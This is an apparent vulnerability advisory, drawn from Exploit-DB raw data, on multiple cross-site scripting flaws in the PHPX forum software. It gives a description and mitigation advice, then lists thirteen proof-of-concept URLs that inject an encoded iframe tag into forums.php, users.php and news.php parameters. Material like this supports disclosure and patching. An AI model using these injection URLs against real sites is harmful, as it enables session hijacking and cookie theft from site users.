Multiple Cross-Site Scripting Vulnerabilities in PHPX

vendor:

PHPX

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: PHPX

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Multiple Cross-Site Scripting Vulnerabilities in PHPX

PHPX is affected by multiple cross-site scripting vulnerabilities. These vulnerabilities occur due to a failure of the application to properly sanitize user-supplied URI input. An attacker can create a malicious URI link that includes hostile HTML and script code. When the victim user follows this link, the hostile code may be rendered in their web browser. This can lead to theft of cookie-based authentication credentials or other attacks.

Mitigation:

To mitigate the risk of these vulnerabilities, it is recommended to sanitize and validate user input before using it in a URI. This can be done by implementing proper input validation and output encoding techniques.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10283/info

It has been reported that PHPX is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
http://www.example.com/users.php?action=&limit=100%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
http://www.example.com/users.php?action=email&user_id=%3E%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
http://www.example.com/news.php?news_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E